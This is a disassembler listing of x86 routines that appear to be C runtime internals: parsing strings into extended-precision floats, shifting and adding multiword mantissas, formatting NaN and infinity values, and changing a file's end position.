loc_4256AF:				; CODE XREF: sub_4255DA+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_426214
		pop	ecx
		pop	ecx
		jmp	short loc_4256FC
; ---------------------------------------------------------------------------


loc_4256BC:				; CODE XREF: sub_4255DA+71j
		jge	short loc_4256FC
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422DCB
		push	ebx
		call	sub_423F6A
		add	esp, 10h
		push	eax
		call	dword_428010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4256FC
		mov	dword_4DE5C4, 0Dh
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4DE5C8, eax


loc_4256FC:				; CODE XREF: sub_4255DA+E0j
					; sub_4255DA:loc_4256BCj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42571C
; ---------------------------------------------------------------------------


loc_42570F:				; CODE XREF: sub_4255DA+1Aj
					; sub_4255DA+36j
		mov	dword_4DE5C4, 9


loc_425719:				; CODE XREF: sub_4255DA+4Ej
					; sub_4255DA+63j
		or	eax, 0FFFFFFFFh


loc_42571C:				; CODE XREF: sub_4255DA+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4255DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_425720	proc near		; CODE XREF: sub_42489F+2Bp
					; sub_42489F+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425736
		cmp	ecx, esi
		jnb	short loc_425739


loc_425736:				; CODE XREF: sub_425720+10j
		push	1
		pop	eax


loc_425739:				; CODE XREF: sub_425720+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425720	endp


; =============== S U B	R O U T	I N E =======================================



sub_425741	proc near		; CODE XREF: sub_4257FA+40p
					; sub_4257FA+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425720
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425773
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425720
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425773
		inc	dword ptr [esi+8]


loc_425773:				; CODE XREF: sub_425741+19j
					; sub_425741+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425720
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42578B
		inc	dword ptr [esi+8]


loc_42578B:				; CODE XREF: sub_425741+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425720
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425741	endp


; =============== S U B	R O U T	I N E =======================================



sub_42579F	proc near		; CODE XREF: sub_4257FA+30p
					; sub_4257FA+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_42579F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4257CD	proc near		; CODE XREF: sub_425D92+1C8p
					; sub_42628A+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4257CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4257FA	proc near		; CODE XREF: sub_4258C1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42586E
		push	edi
		mov	[ebp+arg_8], eax


loc_425821:				; CODE XREF: sub_4257FA+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_42579F
		push	ebx
		call	sub_42579F
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425741
		push	ebx
		call	sub_42579F
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425741
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425821
		xor	edx, edx
		pop	edi


loc_42586E:				; CODE XREF: sub_4257FA+21j
					; sub_4257FA+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42589B
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42586E
; ---------------------------------------------------------------------------


loc_42589B:				; CODE XREF: sub_4257FA+77j
		mov	esi, 8000h


loc_4258A0:				; CODE XREF: sub_4257FA+B9j
		test	[ebx+8], esi
		jnz	short loc_4258B5
		push	ebx
		call	sub_42579F
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4258A0
; ---------------------------------------------------------------------------


loc_4258B5:				; CODE XREF: sub_4257FA+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4257FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4258C1	proc near		; CODE XREF: sub_424BE8+17p
					; sub_424C15+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4258FC:				; CODE XREF: sub_4258C1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425912
		cmp	cl, 9
		jz	short loc_425912
		cmp	cl, 0Ah
		jz	short loc_425912
		cmp	cl, 0Dh
		jnz	short loc_425915


loc_425912:				; CODE XREF: sub_4258C1+40j
					; sub_4258C1+45j ...
		inc	edi
		jmp	short loc_4258FC
; ---------------------------------------------------------------------------


loc_425915:				; CODE XREF: sub_4258C1+4Fj
		push	4
		pop	esi


loc_425918:				; CODE XREF: sub_4258C1+AEj
					; sub_4258C1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_425B9B	; default
					; jumptable 00425924 case 10
		jmp	off_425D62[eax*4] ; switch jump


loc_42592B:				; DATA XREF: .XPack0:off_425D62o
		cmp	bl, 31h		; jumptable 00425924 case 0
		jl	short loc_42593C
		cmp	bl, 39h
		jg	short loc_42593C


loc_425935:				; CODE XREF: sub_4258C1+C4j
					; sub_4258C1+118j
		push	3
		jmp	loc_425B59
; ---------------------------------------------------------------------------


loc_42593C:				; CODE XREF: sub_4258C1+6Dj
					; sub_4258C1+72j
		cmp	bl, byte_43F828
		jnz	short loc_42594B


loc_425944:				; CODE XREF: sub_4258C1+124j
		push	5
		jmp	loc_425B91
; ---------------------------------------------------------------------------


loc_42594B:				; CODE XREF: sub_4258C1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425971
		dec	eax
		dec	eax
		jz	short loc_425965
		sub	eax, 3
		jnz	loc_425C34
		jmp	loc_4259F4
; ---------------------------------------------------------------------------


loc_425965:				; CODE XREF: sub_4258C1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425918
; ---------------------------------------------------------------------------


loc_425971:				; CODE XREF: sub_4258C1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425918
; ---------------------------------------------------------------------------


loc_42597A:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	bl, 31h		; jumptable 00425924 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425987
		cmp	bl, 39h
		jle	short loc_425935


loc_425987:				; CODE XREF: sub_4258C1+BFj
		cmp	bl, byte_43F828
		jz	loc_425A4F
		cmp	bl, 2Bh
		jz	short loc_4259C9
		cmp	bl, 2Dh
		jz	short loc_4259C9
		cmp	bl, 30h
		jz	short loc_4259F4


loc_4259A2:				; CODE XREF: sub_4258C1+207j
		cmp	bl, 43h
		jle	loc_425C34
		cmp	bl, 45h
		jle	short loc_4259C2
		cmp	bl, 63h
		jle	loc_425C34
		cmp	bl, 65h
		jg	loc_425C34


loc_4259C2:				; CODE XREF: sub_4258C1+EDj
		push	6
		jmp	loc_425B91
; ---------------------------------------------------------------------------


loc_4259C9:				; CODE XREF: sub_4258C1+D5j
					; sub_4258C1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425B91
; ---------------------------------------------------------------------------


loc_4259D1:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	bl, 31h		; jumptable 00425924 case 2
		jl	short loc_4259DF
		cmp	bl, 39h
		jle	loc_425935


loc_4259DF:				; CODE XREF: sub_4258C1+113j
		cmp	bl, byte_43F828
		jz	loc_425944
		cmp	bl, 30h
		jnz	loc_425BA9


loc_4259F4:				; CODE XREF: sub_4258C1+9Fj
					; sub_4258C1+DFj
		mov	eax, edx
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_4259FB:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		mov	[ebp+var_10], edx ; jumptable 00425924 case 3


loc_4259FE:				; CODE XREF: sub_4258C1+184j
		cmp	dword_43F824, edx
		jle	short loc_425A17
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425A25
; ---------------------------------------------------------------------------


loc_425A17:				; CODE XREF: sub_4258C1+143j
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425A25:				; CODE XREF: sub_4258C1+154j
		test	eax, eax
		jz	short loc_425A47
		cmp	[ebp+var_4], 19h
		jnb	short loc_425A3F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425A42
; ---------------------------------------------------------------------------


loc_425A3F:				; CODE XREF: sub_4258C1+16Cj
		inc	[ebp+var_8]


loc_425A42:				; CODE XREF: sub_4258C1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4259FE
; ---------------------------------------------------------------------------


loc_425A47:				; CODE XREF: sub_4258C1+166j
		cmp	bl, byte_43F828
		jnz	short loc_425AB6


loc_425A4F:				; CODE XREF: sub_4258C1+CCj
		mov	eax, esi
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_425A56:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	[ebp+var_4], 0	; jumptable 00425924 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425A6F


loc_425A62:				; CODE XREF: sub_4258C1+1ACj
		cmp	bl, 30h
		jnz	short loc_425A6F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425A62
; ---------------------------------------------------------------------------


loc_425A6F:				; CODE XREF: sub_4258C1+19Fj
					; sub_4258C1+1A4j ...
		cmp	dword_43F824, edx
		jle	short loc_425A88
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425A96
; ---------------------------------------------------------------------------


loc_425A88:				; CODE XREF: sub_4258C1+1B4j
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425A96:				; CODE XREF: sub_4258C1+1C5j
		test	eax, eax
		jz	short loc_425AB6
		cmp	[ebp+var_4], 19h
		jnb	short loc_425AB1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425AB1:				; CODE XREF: sub_4258C1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425A6F
; ---------------------------------------------------------------------------


loc_425AB6:				; CODE XREF: sub_4258C1+18Cj
					; sub_4258C1+1D7j
		cmp	bl, 2Bh
		jz	loc_4259C9
		cmp	bl, 2Dh
		jz	loc_4259C9
		jmp	loc_4259A2
; ---------------------------------------------------------------------------


loc_425ACD:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	dword_43F824, edx ; jumptable 00425924 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425AE9
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425AF7
; ---------------------------------------------------------------------------


loc_425AE9:				; CODE XREF: sub_4258C1+215j
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425AF7:				; CODE XREF: sub_4258C1+226j
		test	eax, eax
		jz	loc_425BA9
		mov	eax, esi
		jmp	short loc_425B5A
; ---------------------------------------------------------------------------


loc_425B03:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		lea	ecx, [edi-2]	; jumptable 00425924 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425B13
		cmp	bl, 39h
		jle	short loc_425B57


loc_425B13:				; CODE XREF: sub_4258C1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425B8F
		dec	eax
		dec	eax
		jz	short loc_425B83
		sub	eax, 3
		jnz	loc_425C37


loc_425B28:				; CODE XREF: sub_4258C1+2A4j
		push	8
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B2C:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		mov	[ebp+var_20], edx ; jumptable 00425924 case 8


loc_425B2F:				; CODE XREF: sub_4258C1+276j
		cmp	bl, 30h
		jnz	short loc_425B39
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425B2F
; ---------------------------------------------------------------------------


loc_425B39:				; CODE XREF: sub_4258C1+271j
		cmp	bl, 31h
		jl	loc_425C34
		cmp	bl, 39h
		jg	loc_425C34
		jmp	short loc_425B57
; ---------------------------------------------------------------------------


loc_425B4D:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	bl, 31h		; jumptable 00425924 case 7
		jl	short loc_425B60
		cmp	bl, 39h
		jg	short loc_425B60


loc_425B57:				; CODE XREF: sub_4258C1+250j
					; sub_4258C1+28Aj
		push	9


loc_425B59:				; CODE XREF: sub_4258C1+76j
		pop	eax


loc_425B5A:				; CODE XREF: sub_4258C1+240j
		dec	edi
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_425B60:				; CODE XREF: sub_4258C1+28Fj
					; sub_4258C1+294j
		cmp	bl, 30h
		jnz	short loc_425BA9
		jmp	short loc_425B28
; ---------------------------------------------------------------------------


loc_425B67:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		cmp	[ebp+arg_18], 0	; jumptable 00425924 case 11
		jz	short loc_425B97
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425B8F
		dec	eax
		dec	eax
		jnz	loc_425C37


loc_425B83:				; CODE XREF: sub_4258C1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_425B8F:				; CODE XREF: sub_4258C1+258j
					; sub_4258C1+2B8j
		push	7


loc_425B91:				; CODE XREF: sub_4258C1+85j
					; sub_4258C1+103j ...
		pop	eax
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_425B97:				; CODE XREF: sub_4258C1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_425B9B:				; CODE XREF: sub_4258C1+5Dj
					; sub_4258C1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425924 case 10
		jz	loc_425C39
		jmp	loc_425918
; ---------------------------------------------------------------------------


loc_425BA9:				; CODE XREF: sub_4258C1+12Dj
					; sub_4258C1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425C39
; ---------------------------------------------------------------------------


loc_425BB1:				; CODE XREF: sub_4258C1+63j
					; DATA XREF: .XPack0:off_425D62o
		mov	[ebp+var_20], 1	; jumptable 00425924 case 9
		xor	esi, esi


loc_425BBA:				; CODE XREF: sub_4258C1+339j
		cmp	dword_43F824, 1
		jle	short loc_425BD2
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_425BE1
; ---------------------------------------------------------------------------


loc_425BD2:				; CODE XREF: sub_4258C1+300j
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425BE1:				; CODE XREF: sub_4258C1+30Fj
		test	eax, eax
		jz	short loc_425C01
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425BFC
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425BBA
; ---------------------------------------------------------------------------


loc_425BFC:				; CODE XREF: sub_4258C1+334j
		mov	esi, 1451h


loc_425C01:				; CODE XREF: sub_4258C1+322j
		mov	[ebp+var_1C], esi


loc_425C04:				; CODE XREF: sub_4258C1+371j
		cmp	dword_43F824, 1
		jle	short loc_425C1C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_425C2B
; ---------------------------------------------------------------------------


loc_425C1C:				; CODE XREF: sub_4258C1+34Aj
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425C2B:				; CODE XREF: sub_4258C1+359j
		test	eax, eax
		jz	short loc_425C34
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425C04
; ---------------------------------------------------------------------------


loc_425C34:				; CODE XREF: sub_4258C1+99j
					; sub_4258C1+E4j ...
		dec	edi
		jmp	short loc_425C39
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_4258C1+261j
					; sub_4258C1+2BCj
		mov	edi, ecx


loc_425C39:				; CODE XREF: sub_4258C1+2DDj
					; sub_4258C1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425D21
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425C65
		cmp	[ebp+var_45], 5
		jl	short loc_425C59
		inc	[ebp+var_45]


loc_425C59:				; CODE XREF: sub_4258C1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425C68
; ---------------------------------------------------------------------------


loc_425C65:				; CODE XREF: sub_4258C1+38Dj
		mov	eax, [ebp+var_C]


loc_425C68:				; CODE XREF: sub_4258C1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425D17


loc_425C72:				; CODE XREF: sub_4258C1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425C80
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C80:				; CODE XREF: sub_4258C1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4257FA
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425C9F
		neg	eax


loc_425C9F:				; CODE XREF: sub_4258C1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_425CAA
		add	eax, [ebp+arg_10]


loc_425CAA:				; CODE XREF: sub_4258C1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425CB2
		sub	eax, [ebp+arg_14]


loc_425CB2:				; CODE XREF: sub_4258C1+3ECj
		cmp	eax, 1450h
		jle	short loc_425CE9
		mov	[ebp+var_2C], 1


loc_425CC0:				; CODE XREF: sub_4258C1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_425CCC:				; CODE XREF: sub_4258C1+454j
					; sub_4258C1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425D32
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425D47
; ---------------------------------------------------------------------------


loc_425CE9:				; CODE XREF: sub_4258C1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425CF9
		mov	[ebp+var_30], 1
		jmp	short loc_425CC0
; ---------------------------------------------------------------------------


loc_425CF9:				; CODE XREF: sub_4258C1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4264AA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_425CCC
; ---------------------------------------------------------------------------


loc_425D17:				; CODE XREF: sub_4258C1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_425CCC
; ---------------------------------------------------------------------------


loc_425D21:				; CODE XREF: sub_4258C1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425D47
; ---------------------------------------------------------------------------


loc_425D32:				; CODE XREF: sub_4258C1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425D47
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425D47:				; CODE XREF: sub_4258C1+426j
					; sub_4258C1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4258C1	endp

; ---------------------------------------------------------------------------
off_425D62	dd offset loc_42592B	; DATA XREF: sub_4258C1+63r
		dd offset loc_42597A	; jump table for switch	statement
		dd offset loc_4259D1
		dd offset loc_4259FB
		dd offset loc_425A56
		dd offset loc_425ACD
		dd offset loc_425B03
		dd offset loc_425B4D
		dd offset loc_425B2C
		dd offset loc_425BB1
		dd offset loc_425B9B
		dd offset loc_425B67

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D92	proc near		; CODE XREF: sub_424CB9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425DF4
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425DF8
; ---------------------------------------------------------------------------


loc_425DF4:				; CODE XREF: sub_425D92+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425DF8:				; CODE XREF: sub_425D92+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_425E1E
		test	edi, edi
		jnz	short loc_425E1E
		cmp	[ebp+arg_0], edi
		jnz	short loc_425E1E


loc_425E09:				; CODE XREF: sub_425D92+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42601C
; ---------------------------------------------------------------------------


loc_425E1E:				; CODE XREF: sub_425D92+6Cj
					; sub_425D92+70j ...
		cmp	dx, si
		jnz	short loc_425E9D
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425E37
		cmp	[ebp+arg_0], 0
		jz	short loc_425E46


loc_425E37:				; CODE XREF: sub_425D92+9Dj
		test	edi, 40000000h
		jnz	short loc_425E46
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425E8C
; ---------------------------------------------------------------------------


loc_425E46:				; CODE XREF: sub_425D92+A3j
					; sub_425D92+ABj
		test	cx, cx
		jz	short loc_425E60
		cmp	edi, 0C0000000h
		jnz	short loc_425E60
		cmp	[ebp+arg_0], 0
		jnz	short loc_425E87
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425E6F
; ---------------------------------------------------------------------------


loc_425E60:				; CODE XREF: sub_425D92+B7j
					; sub_425D92+BFj
		cmp	edi, eax
		jnz	short loc_425E87
		cmp	[ebp+arg_0], 0
		jnz	short loc_425E87
		push	offset a1Inf	; "1#INF"


loc_425E6F:				; CODE XREF: sub_425D92+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C520
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425E7E:				; CODE XREF: sub_425D92+109j
		and	[ebp+var_4], 0
		jmp	loc_425FF5
; ---------------------------------------------------------------------------


loc_425E87:				; CODE XREF: sub_425D92+C5j
					; sub_425D92+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425E8C:				; CODE XREF: sub_425D92+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C520
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425E7E
; ---------------------------------------------------------------------------


